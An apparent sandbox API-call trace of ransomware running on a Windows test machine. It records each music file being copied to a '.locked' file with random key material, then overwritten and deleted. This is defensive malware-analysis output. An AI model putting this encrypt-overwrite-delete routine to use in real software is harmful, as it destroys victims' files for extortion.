	[0077.804] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3")) returned 1
	[0077.822] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.822] SetEvent (hEvent=0xa8) returned 1
	[0077.822] SetEvent (hEvent=0x80) returned 1
	[0077.826] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.827] SetEvent (hEvent=0x80) returned 1
	[0077.827] SetEvent (hEvent=0xb4) returned 1
	[0077.827] SetEvent (hEvent=0x78) returned 1
	[0077.827] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.827] SetEvent (hEvent=0x78) returned 1
	[0077.829] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.829] SetEvent (hEvent=0x78) returned 1
	[0077.829] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.829] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.829] SetEvent (hEvent=0x78) returned 1
	[0077.830] SetEvent (hEvent=0xb4) returned 1
	[0077.830] SetEvent (hEvent=0x80) returned 1
	[0077.830] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.830] SetEvent (hEvent=0x80) returned 1
	[0077.830] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.830] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebd0 | out: lpMode=0x127eebd0) returned 0
	[0077.831] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eebc0, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eebc0*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.846] CloseHandle (hObject=0xc0) returned 1
	[0077.847] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\N2wDqsSkQwq5Kxm2_r\\wyXUQFoNPQQhxiR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\n2wdqsskqwq5kxm2_r\\wyxuqfonpqqhxir.mp3")) returned 1
	[0077.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\OhR_BdwTJ3Ps.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\ohr_bdwtj3ps.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a86300, ftCreationTime.dwHighDateTime=0x1d4c7b0, ftLastAccessTime.dwLowDateTime=0xf1a9e590, ftLastAccessTime.dwHighDateTime=0x1d4ca43, ftLastWriteTime.dwLowDateTime=0xf1a9e590, ftLastWriteTime.dwHighDateTime=0x1d4ca43, nFileSizeHigh=0x0, nFileSizeLow=0x8f54)) returned 1
	[0077.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e36c0, ftCreationTime.dwHighDateTime=0x1d4d447, ftLastAccessTime.dwLowDateTime=0x690b5510, ftLastAccessTime.dwHighDateTime=0x1d4d3c7, ftLastWriteTime.dwLowDateTime=0x690b5510, ftLastWriteTime.dwHighDateTime=0x1d4d3c7, nFileSizeHigh=0x0, nFileSizeLow=0x4f07)) returned 1
	[0077.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.850] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.850] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.850] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3e0 | out: pbBuffer=0x1238c3e0) returned 1
	[0077.850] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8220 | out: pbBuffer=0x127a8220) returned 1
	[0077.850] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.851] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0077.853] SetEvent (hEvent=0xb4) returned 1
	[0077.853] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x4f07, lpOverlapped=0x0) returned 1
	[0077.854] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x4f07, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x4f07, lpOverlapped=0x0) returned 1
	[0077.854] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0077.854] CloseHandle (hObject=0xc4) returned 1
	[0077.855] CloseHandle (hObject=0xc0) returned 1
	[0077.855] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.855] SetEvent (hEvent=0xb4) returned 1
	[0077.855] SetEvent (hEvent=0x80) returned 1
	[0077.855] SetEvent (hEvent=0x78) returned 1
	[0077.855] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.856] SetEvent (hEvent=0xa8) returned 1
	[0077.856] SetEvent (hEvent=0x78) returned 1
	[0077.856] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee7d8*=0x4d) returned 1
	[0077.857] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3")) returned 1
	[0077.875] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.875] SetEvent (hEvent=0xa8) returned 1
	[0077.875] SetEvent (hEvent=0x80) returned 1
	[0077.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.880] SetEvent (hEvent=0x80) returned 1
	[0077.880] SetEvent (hEvent=0x78) returned 1
	[0077.880] SetEvent (hEvent=0xb4) returned 1
	[0077.880] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.880] SetEvent (hEvent=0xb4) returned 1
	[0077.882] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.882] SetEvent (hEvent=0xb4) returned 1
	[0077.882] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.883] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.883] SetEvent (hEvent=0xb4) returned 1
	[0077.883] SetEvent (hEvent=0x78) returned 1
	[0077.883] SetEvent (hEvent=0x80) returned 1
	[0077.883] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.883] SetEvent (hEvent=0x80) returned 1
	[0077.883] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.884] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0077.884] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.910] CloseHandle (hObject=0xc0) returned 1
	[0077.910] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\QB6BvIOvY3zvR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\qb6bviovy3zvr.mp3")) returned 1
	[0077.913] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbeb7c0, ftCreationTime.dwHighDateTime=0x1d4ce57, ftLastAccessTime.dwLowDateTime=0xde853760, ftLastAccessTime.dwHighDateTime=0x1d4cb58, ftLastWriteTime.dwLowDateTime=0xde853760, ftLastWriteTime.dwHighDateTime=0x1d4cb58, nFileSizeHigh=0x0, nFileSizeLow=0xedd9)) returned 1
	[0077.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.913] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.914] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0077.914] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c2c0 | out: pbBuffer=0x1238c2c0) returned 1
	[0077.915] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0077.915] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.915] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0077.917] SetEvent (hEvent=0x78) returned 1
	[0077.917] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xedd9, lpOverlapped=0x0) returned 1
	[0077.919] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xedd9, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xedd9, lpOverlapped=0x0) returned 1
	[0077.920] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0077.920] CloseHandle (hObject=0xc4) returned 1
	[0077.920] CloseHandle (hObject=0xc0) returned 1
	[0077.920] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.921] SetEvent (hEvent=0x78) returned 1
	[0077.921] SetEvent (hEvent=0x80) returned 1
	[0077.921] SetEvent (hEvent=0xb4) returned 1
	[0077.921] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.921] SetEvent (hEvent=0xa8) returned 1
	[0077.921] SetEvent (hEvent=0xb4) returned 1
	[0077.921] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x45, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee7d8*=0x45) returned 1
	[0077.923] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3")) returned 1
	[0077.941] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.941] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.941] SetEvent (hEvent=0xa8) returned 1
	[0077.941] SetEvent (hEvent=0x80) returned 1
	[0077.946] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.946] SetEvent (hEvent=0x80) returned 1
	[0077.946] SetEvent (hEvent=0xb4) returned 1
	[0077.946] SetEvent (hEvent=0x78) returned 1
	[0077.946] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.946] SetEvent (hEvent=0x78) returned 1
	[0077.948] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.948] SetEvent (hEvent=0x78) returned 1
	[0077.948] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.949] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0077.949] SetEvent (hEvent=0x78) returned 1
	[0077.949] SetEvent (hEvent=0xb4) returned 1
	[0077.949] SetEvent (hEvent=0x80) returned 1
	[0077.949] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.949] SetEvent (hEvent=0x80) returned 1
	[0077.949] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.950] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0077.950] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0077.966] CloseHandle (hObject=0xc0) returned 1
	[0077.966] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\YQZxV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\yqzxv.mp3")) returned 1
	[0077.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\pf y5iqD4Os\\uR2ZXCScWtBpT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\pf y5iqd4os\\ur2zxcscwtbpt.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75703850, ftCreationTime.dwHighDateTime=0x1d4d3bf, ftLastAccessTime.dwLowDateTime=0x85285730, ftLastAccessTime.dwHighDateTime=0x1d4c66f, ftLastWriteTime.dwLowDateTime=0x85285730, ftLastWriteTime.dwHighDateTime=0x1d4c66f, nFileSizeHigh=0x0, nFileSizeLow=0x9530)) returned 1
	[0077.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\zgDrLIcayo-mVK692G.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\zgdrlicayo-mvk692g.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca552e30, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0x9c0d930, ftLastAccessTime.dwHighDateTime=0x1d4ccd9, ftLastWriteTime.dwLowDateTime=0x9c0d930, ftLastWriteTime.dwHighDateTime=0x1d4ccd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d26)) returned 1
	[0077.969] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc1e8 | out: lpFileInformation=0x123fc1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e03d90, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x7f63fc30, ftLastAccessTime.dwHighDateTime=0x1d4cd6f, ftLastWriteTime.dwLowDateTime=0x7f63fc30, ftLastWriteTime.dwHighDateTime=0x1d4cd6f, nFileSizeHigh=0x0, nFileSizeLow=0xfbde)) returned 1
	[0077.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0077.969] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0077.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0077.977] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0077.977] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c340 | out: pbBuffer=0x1238c340) returned 1
	[0077.977] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8320 | out: pbBuffer=0x127a8320) returned 1
	[0077.977] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0077.978] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0077.980] SetEvent (hEvent=0xb4) returned 1
	[0077.980] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0xfbde, lpOverlapped=0x0) returned 1
	[0077.982] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xfbde, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0xfbde, lpOverlapped=0x0) returned 1
	[0077.983] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0077.983] CloseHandle (hObject=0xc4) returned 1
	[0077.983] CloseHandle (hObject=0xc0) returned 1
	[0077.983] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0077.991] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.991] SetEvent (hEvent=0xb4) returned 1
	[0077.991] SetEvent (hEvent=0x80) returned 1
	[0077.991] SetEvent (hEvent=0x78) returned 1
	[0077.991] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0077.998] SetEvent (hEvent=0xa8) returned 1
	[0077.998] SetEvent (hEvent=0x78) returned 1
	[0077.998] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390070*, nNumberOfCharsToWrite=0x32, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x12390070*, lpNumberOfCharsWritten=0x127ee8a0*=0x32) returned 1
	[0077.999] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3")) returned 1
	[0078.017] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.017] SetEvent (hEvent=0xa8) returned 1
	[0078.017] SetEvent (hEvent=0x80) returned 1
	[0078.021] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.022] SetEvent (hEvent=0x80) returned 1
	[0078.022] SetEvent (hEvent=0x78) returned 1
	[0078.022] SetEvent (hEvent=0xb4) returned 1
	[0078.022] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.022] SetEvent (hEvent=0xb4) returned 1
	[0078.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.024] SetEvent (hEvent=0xb4) returned 1
	[0078.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.024] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0078.024] SetEvent (hEvent=0xb4) returned 1
	[0078.025] SetEvent (hEvent=0x78) returned 1
	[0078.025] SetEvent (hEvent=0x80) returned 1
	[0078.025] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0078.025] SetEvent (hEvent=0x80) returned 1
	[0078.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.025] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0078.026] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0078.042] CloseHandle (hObject=0xc0) returned 1
	[0078.042] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GONMV.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gonmv.mp3")) returned 1
	[0078.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0078.045] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\il3hu6dXXDX MGLe.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\il3hu6dxxdx mgle.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59b92b0, ftCreationTime.dwHighDateTime=0x1d4d1b7, ftLastAccessTime.dwLowDateTime=0xec1724d0, ftLastAccessTime.dwHighDateTime=0x1d4ca93, ftLastWriteTime.dwLowDateTime=0xec1724d0, ftLastWriteTime.dwHighDateTime=0x1d4ca93, nFileSizeHigh=0x0, nFileSizeLow=0x11e6b)) returned 1
